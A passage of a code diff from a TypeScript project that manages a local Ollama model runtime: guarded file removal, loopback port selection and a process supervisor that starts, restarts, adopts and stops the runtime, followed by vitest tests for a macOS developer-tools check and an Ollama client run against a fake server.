`removeLocalModelFiles()` deletes. */ @@ -193,18 +645,70 @@ export interface RemoveLocalModelFilesOptions { paths?: LocalModelPaths; } +/** What is to be done with one folder of the local model: nothing, unlink the link in its place, or delete its tree. */ +type RemovalStep = { target: string; how: 'absent' | 'unlink' | 'delete' }; + +/** + * Decides what removing `target` means, and refuses what must not be removed. A symlink in the + * place of a folder is unlinked and never followed; a real folder is deleted only when its + * real path is still inside the real root. Nothing is deleted here. + */ +async function planRemoval(target: string, root: string): Promise<RemovalStep> { + if (!isInsideLocalModelRoot(target, root) || resolvePath(target) === resolvePath(root)) { + throw new Error(`Refusing to delete ${target}: it is not a folder inside ${root}`); + } + let info; + try { + info = await lstat(target); + } catch (err) { + if (errnoOf(err) === 'ENOENT') return { target, how: 'absent' }; + throw err; + } + // The link goes, what it points at stays: that is somebody else's folder. + if (info.isSymbolicLink()) return { target, how: 'unlink' }; + const [realTarget, realRoot] = await Promise.all([realpath(target), realpath(root)]); + if (!isInsideLocalModelRoot(realTarget, realRoot) || realTarget === realRoot) { + throw new Error(`Refusing to delete ${target}: it resolves to ${realTarget}, outside ${realRoot}`); + } + return { target, how: 'delete' }; +} + /** * Deletes what this feature put on disk: every runtime folder and archive, the private home * and, when asked, the models. Refuses any path that is not inside `LocalModelPaths.root`, * follows no symlink out of it, and removes `root` itself only when it is empty afterwards. + * Every folder is judged BEFORE the first one is deleted, so a refusal deletes nothing. * The state file and the coding agent are not its business. */ export async function removeLocalModelFiles(options: RemoveLocalModelFilesOptions): Promise<void> { - return notImplemented('removeLocalModelFiles', options); + const paths = options.paths ?? localModelPaths(OLLAMA_RUNTIME_PIN.version); + const targets = [paths.runtimeRoot, paths.homeDir, ...(options.models ? [paths.modelsDir] : [])]; + const plan: RemovalStep[] = []; + for (const target of targets) plan.push(await planRemoval(target, paths.root)); + for (const step of plan) { + if (step.how === 'unlink') await unlink(step.target); + // `rm` removes a symlink it meets inside the tree, never the tree behind it. + if (step.how === 'delete') await rm(step.target, { recursive: true, force: true }); + } + // Empty now (the models went too, or there never were any): the folder itself goes. + await rmdir(paths.root).catch(() => undefined); } // ---------- Port ---------- +/** Whether nothing holds `port` on 127.0.0.1, decided by binding it and letting go again. */ +export function isLoopbackPortFree(port: number): Promise<boolean> { + return new Promise((resolve) => { + if (!Number.isInteger(port) || port < 1 || port > 65535) return resolve(false); + const probe = createServer(); + probe.unref(); + probe.once('error', () => resolve(false)); + probe.listen(port, '127.0.0.1', () => { + probe.close(() => resolve(true)); + }); + }); +} + export interface ChooseRuntimePortOptions { /** Default `RUNTIME_PORT_FIRST`. */ first?: number; @@ -218,7 +722,19 @@ export interface ChooseRuntimePortOptions { /** The first free loopback port of the span, or `undefined` when none is free. Chosen once, then stored by the caller. */ export async function chooseRuntimePort(options: ChooseRuntimePortOptions = {}): Promise<number | undefined> { - return notImplemented('chooseRuntimePort', options); + const first = options.first ?? RUNTIME_PORT_FIRST; + const span = options.span ?? RUNTIME_PORT_SPAN; + const isFree = options.isFree ?? isLoopbackPortFree; + const avoid = new Set(options.avoid ?? []); + for (let port = first; port < first + span; port++) { + if (avoid.has(port)) continue; + try { + if (await isFree(port)) return port; + } catch { + // A probe that fails says nothing about the port: it is not taken as free. + } + } + return undefined; } // ---------- Supervisor ---------- @@ -287,6 +803,12 @@ export interface RuntimeSupervisorDeps { paths: LocalModelPaths; /** Called after every change of `status()`: a start, an exit, a restart, the budget line. The caller stores pid and port. */ onChange: (status: RuntimeStatus) => void; + /** How long a started runtime has to answer `/api/version`. Default 30 seconds. */ + startTimeoutMs?: number; + /** How often an adopted orphan is looked at. Default 5 seconds. */ + orphanPollMs?: number; + /** How long `start()` waits for the budget line once the runtime answers. Default 3 seconds. */ + budgetWaitMs?: number; } /** The one supervisor of the runtime child. */ @@ -302,7 +824,461 @@ export interface RuntimeSupervisor { status(): RuntimeStatus; } +const defaultSpawn: RuntimeSupervisorDeps['spawn'] = (command, args, options) => { + if (UNDER_VITEST) throw new NotInjectedError('spawn'); + return nodeSpawn(command, [...args], options); +}; + +/** `ps -o command= -p <pid>`: the command line of a pid, `undefined` when it is gone. Spawns nothing under vitest. */ +function defaultCommandOfPid(pid: number): Promise<string | undefined> { + return new Promise((resolve) => { + if (UNDER_VITEST || !Number.isInteger(pid) || pid <= 1) return resolve(undefined); + execFile('/bin/ps', ['-o', 'command=', '-p', String(pid)], { timeout: PS_TIMEOUT_MS }, (err, stdout) => { + const line = typeof stdout === 'string' ? stdout.trim() : ''; + resolve(err || line === '' ? undefined : line); + }); + }); +} + +const defaultKill: RuntimeSupervisorDeps['kill'] = (pid, signal) => { + if (UNDER_VITEST || !Number.isInteger(pid) || pid <= 1) return; + try { + process.kill(pid, signal); + } catch { + // Gone already. + } +}; + +function hasExited(child: ChildProcess): boolean { + return child.exitCode !== null || child.signalCode !== null; +} + +/** How one launch of the child ended. */ +type LaunchResult = { ok: true; pid: number; measuredTotalBytes?: number } | { ok: false; detail: string }; + /** A supervisor. The server keeps ONE (see `getLocalModelService()` in install-job.ts). */ -export function createRuntimeSupervisor(deps: Partial<RuntimeSupervisorDeps> = {}): RuntimeSupervisor { - return notImplemented('createRuntimeSupervisor', deps); +export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps> = {}): RuntimeSupervisor { + const pin = overrides.pin ?? OLLAMA_RUNTIME_PIN; + const deps = { + spawn: overrides.spawn ?? defaultSpawn, + fetch: overrides.fetch ?? defaultFetch, + env: overrides.env ?? process.env, + commandOfPid: overrides.commandOfPid ?? defaultCommandOfPid, + kill: overrides.kill ?? defaultKill, + isPortFree: overrides.isPortFree ?? isLoopbackPortFree, + sleep: overrides.sleep ?? realSleep, + onChange: overrides.onChange ?? ((): void => undefined), + startTimeoutMs: overrides.startTimeoutMs ?? START_TIMEOUT_MS, + orphanPollMs: overrides.orphanPollMs ?? ORPHAN_POLL_MS, + budgetWaitMs: overrides.budgetWaitMs ?? BUDGET_WAIT_MS, + }; + // Resolved on first use: `localModelPaths()` creates the data dir, which making a supervisor must not. + let resolvedPaths = overrides.paths; + const paths = (): LocalModelPaths => (resolvedPaths ??= localModelPaths(pin.version)); + + /** Our child, once it answered. */ + let child: ChildProcess | undefined; + /** A child that was spawned and has not answered yet. */ + let starting: ChildProcess | undefined; + /** An orphan of an earlier server that was adopted: not our child, so it is signalled by pid. */ + let adoptedPid: number | undefined; + let orphanTimer: NodeJS.Timeout | undefined; + /** What the last `start()` asked for: what a restart starts again. */ + let wanted: { port: number; contextLength: number } | undefined; + /** Bumped by every `start()` and `stop()`: work of an older generation stops when it notices. */ + let generation = 0; + /** The restart loop that is running, if one is. */ + let restarting: Promise<void> | undefined; + /** `start()` and `stop()` run one after the other. */ + let queue: Promise<unknown> = Promise.resolve(); + let state: RuntimeStatus = { running: false, restarts: 0, gaveUp: false }; + + function setState(patch: Partial<RuntimeStatus>): void { + const next: RuntimeStatus = { ...state, ...patch }; + for (const key of Object.keys(next) as (keyof RuntimeStatus)[]) { + if (next[key] === undefined) delete next[key]; + } + const changed = + Object.keys(next).length !== Object.keys(state).length || + (Object.keys(next) as (keyof RuntimeStatus)[]).some((key) => next[key] !== state[key]); + state = next; + if (!changed) return; + try { + deps.onChange({ ...state }); + } catch { + // A caller that throws must not stop the supervisor. + } + } + + function serialize<T>(work: () => Promise<T>): Promise<T> { + const run = queue.then(work, work); + queue = run.catch(() => undefined); + return run; + } + + const isOwn = (command: string | undefined): boolean => + command !== undefined && isOwnRuntimeCommand(command, paths().runtimeRoot); + + /** SIGTERM, then SIGKILL after the grace period. Resolves once the child is gone. */ + async function stopChild(proc: ChildProcess): Promise<void> { + // A child that never got a pid was never started: there is no exit to wait for. + if (hasExited(proc) || proc.pid === undefined) return; + const gone = new Promise<void>((resolve) => proc.once('exit', () => resolve())); + try { + if (!proc.kill('SIGTERM')) return; + } catch { + return; + } + const force = setTimeout(() => { + try { + proc.kill('SIGKILL'); + } catch { + // Gone already. + } + }, STOP_GRACE_MS); + force.unref(); + await Promise.race([gone, pause(STOP_GRACE_MS + STOP_KILL_WAIT_MS)]); + clearTimeout(force); + } + + /** The same for a pid that is not our child: signalled through `deps.kill`, watched through `ps`. */ + async function stopOrphan(pid: number): Promise<void> { + const goneWithin = async (ms: number): Promise<boolean> => { + const until = Date.now() + ms; + for (;;) { + if (!isOwn(await deps.commandOfPid(pid))) return true; + if (Date.now() >= until) return false; + await pause(100); + } + }; + deps.kill(pid, 'SIGTERM'); + if (await goneWithin(STOP_GRACE_MS)) return; + deps.kill(pid, 'SIGKILL'); + await goneWithin(STOP_KILL_WAIT_MS); + } + + /** Stops whatever runs now: our child, one that is starting, an adopted orphan. */ + async function stopCurrent(): Promise<void> { + clearInterval(orphanTimer); + orphanTimer = undefined; + const procs = [child, starting].filter((proc): proc is ChildProcess => proc !== undefined); + // Forgotten first, so that its exit is not taken for a crash. + child = undefined; + starting = undefined; + const orphan = adoptedPid; + adoptedPid = undefined; + await Promise.all(procs.map((proc) => stopChild(proc))); + if (orphan !== undefined) await stopOrphan(orphan); + } + + /** The runtime exited by itself: start it again, a bounded number of times. */ + function restart(): void { + if (restarting) return; + const gen = generation; + const loop = async (): Promise<void> => { + while (gen === generation && wanted) { + if (state.restarts >= RUNTIME_MAX_RESTARTS) { + setState({ gaveUp: true }); + return; + } + setState({ restarts: state.restarts + 1 }); + await deps.sleep(RESTART_DELAY_MS); + if (gen !== generation || !wanted) return; + const launched = await launch(wanted.port, wanted.contextLength, gen); + // Running again: a later exit comes back here through the child's exit handler. + if (launched.ok) return; + } + }; + restarting = loop() + .catch(() => undefined) + .finally(() => { + restarting = undefined; + }); + } + + /** Spawns the runtime and waits until it answers. The child becomes `child` only then. */ + async function launch(port: number, contextLength: number, gen: number): Promise<LaunchResult> { + const folders = paths(); + let spawned: ChildProcess; + try { + await mkdir(folders.homeDir, { recursive: true, mode: 0o700 }); + await mkdir(folders.modelsDir, { recursive: true, mode: 0o700 }); + // Asked to stop in the meantime: nothing is started only to be stopped again. + if (gen !== generation) return { ok: false, detail: 'The start was replaced by a newer request' }; + spawned = deps.spawn(folders.binary, ['serve'], { + env: runtimeEnv({ + source: deps.env, + home: folders.homeDir, + modelsDir: folders.modelsDir, + port, + contextLength, + }), + cwd: folders.homeDir, + stdio: ['ignore', 'pipe', 'pipe'], + // A child of the server, in its process group: it is not left behind by a normal exit. + detached: false, + }); + } catch (err) { + return { ok: false, detail: errorText(err) }; + } + starting = spawned; + + // The child's output: the budget line, and the last lines for the detail of a failure. + // It is read for as long as the child lives, so a full pipe never blocks it. + const tail: string[] = []; + let measured: number | undefined; + let budgetSeen: () => void = () => undefined; + const budget = new Promise<void>((resolve) => { + budgetSeen = resolve; + }); + const onLine = (text: string): void => { + const line = text.length > LOG_LINE_MAX_CHARS ? text.slice(0, LOG_LINE_MAX_CHARS) : text; + if (line.trim() === '') return; + tail.push(line); + if (tail.length > LOG_TAIL_LINES) tail.shift(); + const total = parseInferenceComputeTotal(line); + if (total === undefined) return; + measured = total; + if (child === spawned) setState({ measuredTotalBytes: total }); + budgetSeen(); + }; + for (const stream of [spawned.stdout, spawned.stderr]) { + if (!stream) continue; + let pending = ''; + stream.setEncoding('utf8'); + stream.on('data', (chunk: string) => { + pending += chunk; + let breakAt = pending.indexOf('\n'); + while (breakAt >= 0) { + onLine(pending.slice(0, breakAt)); + pending = pending.slice(breakAt + 1); + breakAt = pending.indexOf('\n'); + } + // A line without an end is cut, so the buffer cannot grow without bound. + if (pending.length > LOG_LINE_MAX_CHARS) pending = pending.slice(0, LOG_LINE_MAX_CHARS); + }); + stream.on('error', () => undefined); + } + + let ended: string | undefined; + let goneNow: () => void = () => undefined; + const gone = new Promise<void>((resolve) => { + goneNow = resolve; + }); + // The last resort when the server exits without its shutdown: the child must not outlive it. + const onProcessExit = (): void => { + try { + spawned.kill('SIGTERM'); + } catch { + // Gone already. + } + }; + process.once('exit', onProcessExit); + spawned.once('error', (err) => { + // A spawn that failed emits no exit. + if (spawned.pid === undefined) process.off('exit', onProcessExit); + ended ??= `The runtime could not be started: ${errorText(err)}`; + goneNow(); + }); + spawned.once('exit', (code, signal) => { + process.off('exit', onProcessExit); + ended ??= signal ? `The runtime was ended by ${signal}` : `The runtime exited with code ${String(code)}`; + goneNow(); + if (starting === spawned) starting = undefined; + if (child !== spawned) return; + // Our running child exited by itself. + child = undefined; + setState({ running: false, pid: undefined }); + restart(); + }); + + const fail = async (reason: string): Promise<LaunchResult> => { + if (starting === spawned) starting = undefined; + await stopChild(spawned); + const log = tail.join('\n'); + return { ok: false, detail: clip(log === '' ? reason : `${reason}\n${log}`) }; + }; + + const target = { baseUrl: `http://127.0.0.1:${port}`, fetch: deps.fetch }; + const deadline = Date.now() + deps.startTimeoutMs; + for (;;) { + if (ended !== undefined) return fail(ended); + if (gen !== generation) return fail('The start was replaced by a newer request'); + const version = await getRuntimeVersion(target); + if (ended !== undefined) return fail(ended); + if (version !== undefined) { + if (version !== pin.version) return fail(`The runtime answers as version ${version}, not ${pin.version}`); + break; + } + if (Date.now() >= deadline) { + return fail(`The runtime did not answer within ${Math.round(deps.startTimeoutMs / 1000)} seconds`); + } + await deps.sleep(START_POLL_MS); + } + + // The budget line follows the first answer within a moment. An older runtime may not print it. + if (measured === undefined) await Promise.race([budget, gone, pause(deps.budgetWaitMs)]); + if (ended !== undefined) return fail(ended); + if (gen !== generation) return fail('The start was replaced by a newer request'); + + starting = undefined; + child = spawned; + const pid = spawned.pid ?? 0; + setState({ + running: true, + pid, + port, + contextLength, + measuredTotalBytes: measured, + gaveUp: false, + }); + return { ok: true, pid, ...(measured !== undefined ? { measuredTotalBytes: measured } : {}) }; + } + + /** Keeps an orphan of an earlier server: it is watched by pid, because its exit is no event of ours. */ + function adopt(pid: number, port: number, contextLength: number): void { + adoptedPid = pid; + setState({ running: true, pid, port, contextLength, measuredTotalBytes: undefined, gaveUp: false }); + let looking = false; + orphanTimer = setInterval(() => { + if (looking || adoptedPid !== pid) return; + looking = true; + void deps + .commandOfPid(pid) + .catch(() => undefined) + .then((command) => { + looking = false; + if (adoptedPid !== pid || isOwn(command)) return; + // The orphan is gone: from here on the runtime is a child of our own. + clearInterval(orphanTimer); + orphanTimer = undefined; + adoptedPid = undefined; + setState({ running: false, pid: undefined }); + restart(); + }); + }, deps.orphanPollMs); + orphanTimer.unref(); + } + + /** Whether keeping this orphan keeps something: a model is loaded, and at the wanted context. */ + async function worthAdopting( + target: { baseUrl: string; fetch: typeof fetch }, + contextLength: number + ): Promise<boolean> { + const loaded = await listRunning(target); + return loaded.length > 0 && loaded.every((model) => model.contextLength === contextLength); + } + + /** Waits for the port to come free after an orphan was told to go. */ + async function portFreeWithin(port: number, ms: number): Promise<boolean> { + const until = Date.now() + ms; + for (;;) { + if (await deps.isPortFree(port).catch(() => false)) return true; + if (Date.now() >= until) return false; + await pause(100); + } + } + + async function doStart(options: RuntimeStartOptions): Promise<RuntimeStartResult> { + const { port, contextLength, previousPid } = options; + if (!Number.isInteger(port) || port < 1 || port > 65535) { + return { ok: false, code: 'runtime-start-failed', detail: `Not a port: ${String(port)}` }; + } + if (!Number.isInteger(contextLength) || contextLength < 1) { + return { ok: false, code: 'runtime-start-failed', detail: `Not a context length: ${String(contextLength)}` }; + } + // Already running as asked: nothing to do. + const alive = (child !== undefined && !hasExited(child)) || adoptedPid !== undefined; + if (alive && state.running && state.port === port && state.contextLength === contextLength) { + return { + ok: true, + pid: state.pid ?? 0, + port, + orphan: 'none', + ...(state.measuredTotalBytes !== undefined ? { measuredTotalBytes: state.measuredTotalBytes } : {}), + }; + } + + generation += 1; + const gen = generation; + await restarting; + await stopCurrent(); + wanted = { port, contextLength }; + setState({ + running: false, + pid: undefined, + port: undefined, + contextLength: undefined, + measuredTotalBytes: undefined, + restarts: 0, + gaveUp: false, + }); + + // Who holds the port, if anybody does. + const target = { baseUrl: `http://127.0.0.1:${port}`, fetch: deps.fetch }; + const ownOrphan = + previousPid !== undefined && + Number.isInteger(previousPid) && + isOwn(await deps.commandOfPid(previousPid).catch(() => undefined)) + ? previousPid + : undefined; + const version = await getRuntimeVersion(target); + let orphan: 'none' | 'adopted' | 'replaced' = 'none'; + if (ownOrphan !== undefined) { + if (version === pin.version && (await worthAdopting(target, contextLength))) { + adopt(ownOrphan, port, contextLength); + return { ok: true, pid: ownOrphan, port, orphan: 'adopted' }; + } + await stopOrphan(ownOrphan); + orphan = 'replaced'; + } else if (version !== undefined) { + return { + ok: false, + code: 'port-in-use', + detail: `A model runtime that Codeman did not start answers on port ${port} (version ${version})`, + }; + } + if (!(await portFreeWithin(port, orphan === 'replaced' ? STOP_GRACE_MS : 0))) { + return { ok: false, code: 'port-in-use', detail: `Another program holds port ${port}` }; + } + + const launched = await launch(port, contextLength, gen); + if (!launched.ok) return { ok: false, code: 'runtime-start-failed', detail: launched.detail }; + return { + ok: true, + pid: launched.pid, + port, + orphan, + ...(launched.measuredTotalBytes !== undefined ? { measuredTotalBytes: launched.measuredTotalBytes } : {}), + }; + } + + async function doStop(): Promise<void> { + generation += 1; + wanted = undefined; + await restarting; + await stopCurrent(); + setState({ + running: false, + pid: undefined, + port: undefined, + contextLength: undefined, + measuredTotalBytes: undefined, + restarts: 0, + gaveUp: false, + }); + } + + return { + start: (options) => + serialize(() => doStart(options)).catch( + (err): RuntimeStartResult => ({ ok: false, code: 'runtime-start-failed', detail: errorText(err) }) + ), + stop: () => { + // At once, not when its turn comes: a start that is still waiting for the runtime gives up. + generation += 1; + return serialize(doStop).catch(() => undefined); + }, + status: () => ({ ...state }), + }; } diff --git a/test/local-model-developer-tools.test.ts b/test/local-model-developer-tools.test.ts new file mode 100644 index 00000000..8f443ca3 --- /dev/null +++ b/test/local-model-developer-tools.test.ts @@ -0,0 +1,153 @@ +/** + * @fileoverview Tests for src/local-model/developer-tools.ts: whether this Mac has the + * developer tools a coding agent calls. + * + * Pinned: the ONLY command it ever runs is `/usr/bin/xcode-select -p` (never `git` or + * `python3`, which open a system window on a Mac without the tools), with a timeout; exit 0 + * is `present`, any other exit is `missing`, no answer is `unknown`; off macOS nothing is run + * at all; nothing it is given can make it throw; and an answer is reused for a minute, so a + * window that polls once a second does not spawn once a second. + * + * Port: N/A (the runner is injected; nothing is spawned). + */ + +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { + checkDeveloperTools, + createDeveloperToolsCheck, + DEVELOPER_TOOLS_TIMEOUT_MS, + resetDeveloperToolsCache, +} from '../src/local-model/developer-tools.js'; + +type Run = (file: string, args: readonly string[], timeoutMs: number) => Promise<number | null>; + +/** A runner that answers `code` and records how it was called. */ +function runner(code: number | null): { run: Run; calls: [string, readonly string[], number][] } { + const calls: [string, readonly string[], number][] = []; + return { + calls, + run: async (file, args, timeoutMs) => { + calls.push([file, args, timeoutMs]); + return code; + }, + }; +} + +afterEach(() => { + resetDeveloperToolsCache(); + vi.restoreAllMocks(); +}); + +describe('checkDeveloperTools', () => { + it('runs exactly one command: /usr/bin/xcode-select -p, bounded', async () => { + const { run, calls } = runner(0); + expect(await checkDeveloperTools({ platform: 'darwin', run })).toBe('present'); + expect(calls).toEqual([['/usr/bin/xcode-select', ['-p'], DEVELOPER_TOOLS_TIMEOUT_MS]]); + expect(DEVELOPER_TOOLS_TIMEOUT_MS).toBe(2_000); + }); + + it('never names git, python or xcrun, whatever the answer is', async () => { + for (const code of [0, 1, 2, null]) { + const { run, calls } = runner(code); + await checkDeveloperTools({ platform: 'darwin', run }); + expect(calls).toHaveLength(1); + expect(calls[0][0]).toBe('/usr/bin/xcode-select'); + expect(JSON.stringify(calls)).not.toMatch(/git|python|xcrun/); + } + }); + + it('reads exit 0 as present and any other exit as missing', async () => { + expect(await checkDeveloperTools({ platform: 'darwin', run: runner(0).run })).toBe('present'); + // A Mac without the tools: "unable to get active developer directory", exit 2. + expect(await checkDeveloperTools({ platform: 'darwin', run: runner(2).run })).toBe('missing'); + expect(await checkDeveloperTools({ platform: 'darwin', run: runner(1).run })).toBe('missing'); + expect(await checkDeveloperTools({ platform: 'darwin', run: runner(127).run })).toBe('missing'); + }); + + it('reads no answer as unknown: a timeout, a command that could not be started, a runner that throws', async () => { + expect(await checkDeveloperTools({ platform: 'darwin', run: runner(null).run })).toBe('unknown'); + const throwing: Run = async () => { + throw new Error('spawn EACCES'); + }; + expect(await checkDeveloperTools({ platform: 'darwin', run: throwing })).toBe('unknown'); + // An exit code that is no whole number is no answer either. + expect(await checkDeveloperTools({ platform: 'darwin', run: runner(Number.NaN).run })).toBe('unknown'); + }); + + it('runs nothing off macOS and answers unknown', async () => { + for (const platform of ['linux', 'win32', 'freebsd']) { + const { run, calls } = runner(0); + expect(await checkDeveloperTools({ platform, run }), platform).toBe('unknown'); + expect(calls).toEqual([]); + } + }); + + it('spawns nothing with the default runner under vitest', async () => { + // The real `execFile` is never reached here: on a Mac this would otherwise run the command. + expect(await checkDeveloperTools({ platform: 'darwin' })).toBe('unknown'); + // And with no argument at all it answers for this machine without throwing. + expect(['present', 'missing', 'unknown']).toContain(await checkDeveloperTools()); + }); +}); + +describe('the cached check', () => { + it('reuses an answer for a minute, then asks again', async () => { + const { run, calls } = runner(2); + let clock = 1_000_000; + const check = createDeveloperToolsCheck({ platform: 'darwin', run, now: () => clock }); + expect(await check()).toBe('missing'); + // A window that polls once a second for a minute. + for (let second = 1; second < 60; second++) { + clock += 1_000; + expect(await check()).toBe('missing'); + } + expect(calls).toHaveLength(1); + clock += 1_000; + expect(await check()).toBe('missing'); + expect(calls).toHaveLength(2); + }); + + it('shares one run among callers that ask at the same time', async () => { + let release: (code: number) => void = () => undefined; + let started = 0; + const run: Run = () => { + started += 1; + return new Promise((resolve) => { + release = resolve; + }); + }; + const check = createDeveloperToolsCheck({ platform: 'darwin', run }); + const asked = [check(), check(), check()]; + await Promise.resolve(); + expect(started).toBe(1); + release(0); + expect(await Promise.all(asked)).toEqual(['present', 'present', 'present']); + }); + + it('does not remember "unknown": a check that did not work is tried again', async () => { + let calls = 0; + // No answer the first time, exit 0 from then on. + const run: Run = async () => (calls++ === 0 ? null : 0); + const check = createDeveloperToolsCheck({ platform: 'darwin', run, now: () => 5 }); + expect(await check()).toBe('unknown'); + expect(await check()).toBe('present'); + expect(await check()).toBe('present'); + expect(calls).toBe(2); + }); + + it('sees the tools once they were installed, after the minute', async () => { + const answers = [2, 0]; + let calls = 0; + let clock = 0; + const check = createDeveloperToolsCheck({ + platform: 'darwin', + run: async () => answers[calls++] ?? 0, + now: () => clock, + }); + expect(await check()).toBe('missing'); + clock = 59_999; + expect(await check()).toBe('missing'); + clock = 60_000; + expect(await check()).toBe('present'); + }); +}); diff --git a/test/local-model-ollama-client.test.ts b/test/local-model-ollama-client.test.ts new file mode 100644 index 00000000..35fd13b0 --- /dev/null +++ b/test/local-model-ollama-client.test.ts @@ -0,0 +1,950 @@ +/** + * @fileoverview Tests for src/local-model/ollama-client.ts: what Codeman asks its own model + * runtime, and the pure functions that read the answers. + * + * Laid out like the module: + * + * 1. The listings (`/api/version`, `/api/tags`, `/api/ps`, `/v1/models`, the delete), against + * the fake runtime, and what each answers when nothing listens. + * 2. The pull parser, pure: the two real line shapes fed in small pieces across line breaks, an + * error line, a resumed pull, and that it keeps no line. + * 3. `pullModel()` against the fake: the total it reports, progress, an error line and a cut + * stream that are retried, the cap of 5 retries, a model the registry does not have (no + * retry), a resumed pull, and Cancel. + * 4. The check after the pull: the two request bodies, the two judges (pure), and + * `verifyModel()` against the fake for every way it can end, the answer without a tool call + * among them. + * + * Port: none fixed (the fake runtime listens on 0). + */ + +import { afterEach, describe, expect, it } from 'vitest'; +import { + buildChatProbeRequest, + buildToolProbeRequest, + createPullParser, + deleteModel, + getRuntimeVersion, + judgeLoaded, + judgeToolProbe, + listOpenAiModels, + listRunning, + listTags, + PULL_RETRIES, + pullModel, + readModelDigest, + TOOL_PROBE_MAX_TOKENS, + verifyModel, + type OllamaPsModel, + type OllamaTarget, + type PullProgress, +} from '../src/local-model/ollama-client.js'; +import { + DEFAULT_FAKE_MODEL, + freeLoopbackPort, + REAL_PULL_ERROR_LINE, + startFakeOllama, + type FakeOllama, + type FakeOllamaOptions, +} from './fixtures/fake-ollama.js'; + +const MODEL = DEFAULT_FAKE_MODEL.id; +const MODEL_BYTES = DEFAULT_FAKE_MODEL.bytes; +const CONTEXT = 131072; + +let fake: FakeOllama | undefined; + +afterEach(async () => { + await fake?.close(); + fake = undefined; +}); + +/** Starts the fake and returns the target that points at it. */ +async function runtime(options: FakeOllamaOptions = {}): Promise<{ fake: FakeOllama; target: OllamaTarget }> { + fake = await startFakeOllama(options); + return { fake, target: { baseUrl: fake.baseUrl } }; +} + +/** A target nothing listens on. */ +async function deadTarget(): Promise<OllamaTarget> { + return { baseUrl: `http://127.0.0.1:${await freeLoopbackPort()}` }; +} + +/** No waiting between retries. */ +const noSleep = async (): Promise<void> => undefined; + +// ---------- 1. Listings ---------- + +describe('the listings', () => { + it('reads the version of a runtime', async () => { + const { target } = await runtime(); + expect(await getRuntimeVersion(target)).toBe('0.40.15'); + }); + + it('answers undefined for a port nothing listens on, and for a listener that is no runtime', async () => { + expect(await getRuntimeVersion(await deadTarget())).toBeUndefined(); + // Something answers, but not with a version. + const notARuntime: OllamaTarget = { + baseUrl: 'http://127.0.0.1:1', + fetch: async () => new Response('<html>hello</html>', { status: 200 }), + }; + expect(await getRuntimeVersion(notARuntime)).toBeUndefined(); + const wrongShape: OllamaTarget = { + baseUrl: 'http://127.0.0.1:1', + fetch: async () => new Response(JSON.stringify({ version: 42 }), { status: 200 }), + }; + expect(await getRuntimeVersion(wrongShape)).toBeUndefined(); + const refused: OllamaTarget = { + baseUrl: 'http://127.0.0.1:1', + fetch: async () => new Response(JSON.stringify({ version: '0.40.15' }), { status: 503 }), + }; + expect(await getRuntimeVersion(refused)).toBeUndefined(); + }); + + it('lists the model on disk with what a Mac reports: size, digest, format, runner', async () => { + const { target } = await runtime({ installed: true }); + expect(await listTags(target)).toEqual([ + { + name: 'qwen3.6:35b-a3b', + size: 23_105_798_956, + digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba', + format: 'safetensors', + runner: 'mlx', + capabilities: ['completion', 'vision', 'tools', 'thinking'], + }, + ]); + expect(await readModelDigest(target, MODEL)).toBe(DEFAULT_FAKE_MODEL.digest); + expect(await readModelDigest(target, 'qwen3.5:9b')).toBeUndefined(); + }); + + it('stores a digest in one form: lowercase hex without the prefix', async () => { + const target: OllamaTarget = { + baseUrl: 'http://127.0.0.1:1', + fetch: async () => + new Response(JSON.stringify({ models: [{ name: MODEL, size: 1, digest: 'sha256:0CE5FF81' }] }), { + status: 200, + }), + }; + expect(await readModelDigest(target, MODEL)).toBe('0ce5ff81'); + }); + + it('lists nothing on an empty store, and reads the "data: null" of the OpenAI route as no model', async () => { + const { target } = await runtime(); + expect(await listTags(target)).toEqual([]); + expect(await listRunning(target)).toEqual([]); + expect(await listOpenAiModels(target)).toEqual([]); + expect(await readModelDigest(target, MODEL)).toBeUndefined(); + }); + + it('lists the model ids of the OpenAI route exactly as they are listed', async () => { + const { target } = await runtime({ installed: true }); + expect(await listOpenAiModels(target)).toEqual(['qwen3.6:35b-a3b']); + }); + + it('lists a loaded model with its memory, the part on the GPU and its context', async () => { + const { fake: server, target } = await runtime({ installed: true }); + expect(await listRunning(target)).toEqual([]); + server.state.loaded = true; + expect(await listRunning(target)).toEqual([ + { + name: 'qwen3.6:35b-a3b', + size: 23_205_798_956, + sizeVram: 23_205_798_956, + contextLength: 131072, + digest: DEFAULT_FAKE_MODEL.digest, + }, + ]); + }); + + it('answers an empty list, never an exception, when nothing listens', async () => { + const target = await deadTarget(); + expect(await listTags(target)).toEqual([]); + expect(await listRunning(target)).toEqual([]); + expect(await listOpenAiModels(target)).toEqual([]); + expect(await readModelDigest(target, MODEL)).toBeUndefined(); + }); + + it('skips rows that are not models instead of failing on them', async () => { + const target: OllamaTarget = { + baseUrl: 'http://127.0.0.1:1', + fetch: async () => + new Response(JSON.stringify({ models: [null, 'x', {}, { name: 'a:b' }, { model: 'c:d', size: -1 }] }), { + status: 200, + }), + }; + expect(await listTags(target)).toEqual([ + { name: 'a:b', size: 0, digest: '' }, + { name: 'c:d', size: 0, digest: '' }, + ]); + // A row without a digest has none to compare. + expect(await readModelDigest(target, 'a:b')).toBeUndefined(); + }); + + it('deletes a model, and calls a model that never was there gone too', async () => { + const { fake: server, target } = await runtime({ installed: true }); + expect(await deleteModel(target, MODEL)).toBe(true); + expect(server.requests.at(-1)).toMatchObject({ method: 'DELETE', path: '/api/delete', body: { model: MODEL } }); + expect(await listTags(target)).toEqual([]); + // The runtime answers 404 for it now. + expect(await deleteModel(target, MODEL)).toBe(true); + // No runtime: nothing was deleted, and it says so. + expect(await deleteModel(await deadTarget(), MODEL)).toBe(false); + }); + + it('gives up on a listing when the caller aborts', async () => { + const { target } = await runtime({ installed: true }); + const controller = new AbortController(); + controller.abort(); + expect(await listTags(target, controller.signal)).toEqual([]); + expect(await getRuntimeVersion(target, controller.signal)).toBeUndefined(); + }); +}); + +// ---------- 2. The pull parser ---------- + +describe('createPullParser', () => { + const mlxLine = (completed: number): string => + JSON.stringify({ status: 'pulling model', digest: 'sha256:model', total: MODEL_BYTES, completed }); + + it('adds up the line shape of an MLX build', () => { + const parser = createPullParser(); + parser.push('{"status":"pulling manifest"}\n'); + expect(parser.snapshot()).toEqual({ + completedBytes: 0, + totalBytes: 0, + status: 'pulling manifest', + succeeded: false, + lines: 1, + }); + parser.push(`${mlxLine(0)}\n${mlxLine(6_200_000_000)}\n`); + expect(parser.snapshot()).toMatchObject({ completedBytes: 